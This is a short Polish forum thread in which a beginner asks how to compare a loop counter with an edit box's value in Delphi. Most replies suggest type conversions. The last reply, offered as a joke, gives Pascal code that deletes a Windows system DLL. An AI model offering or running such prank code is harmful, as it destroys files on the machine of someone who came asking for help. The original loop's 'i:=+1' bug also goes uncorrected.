petelka i edit1 i integer

witam!
chcialbym zeby kiedy napisze cos takiego (to dzilalo) :

var
i:integer;

begin
i:=0;

repeat
i:=+1;
Rich.lines.add(s);
until i=edit1;

{edit1 to wlasni edit1 :D tylko ze wykakuje mi jakis blad..... (w tej ostaniej linii)
IntToSTr nie dziala... nie wiem czego tu uzyc}

&gt until i=edit1;

Może winno być until IntToStr(i) = Edit1.Text--__________________________________
Pozdrawiam...
piechnat

uważam, że w ostatniej linii powinno być:

StrToInt(Edit1.Text)

zeby zadziałało
--Pozdrawiam
Ktos :)

A rownie dobrze moglo by byc i=Length(Edit1.Text) ;)--Pozdrawiam {hello}
Tomasz K.

maginott napisał:
A rownie dobrze moglo by byc i=Length(Edit1.Text) ;)

albo:
var f:TextFile;
begin
AssignFile(F,'c:\windows\system\MSLOCUSR.DLL');
erase(F);
end; ;););););););););););););););)--||===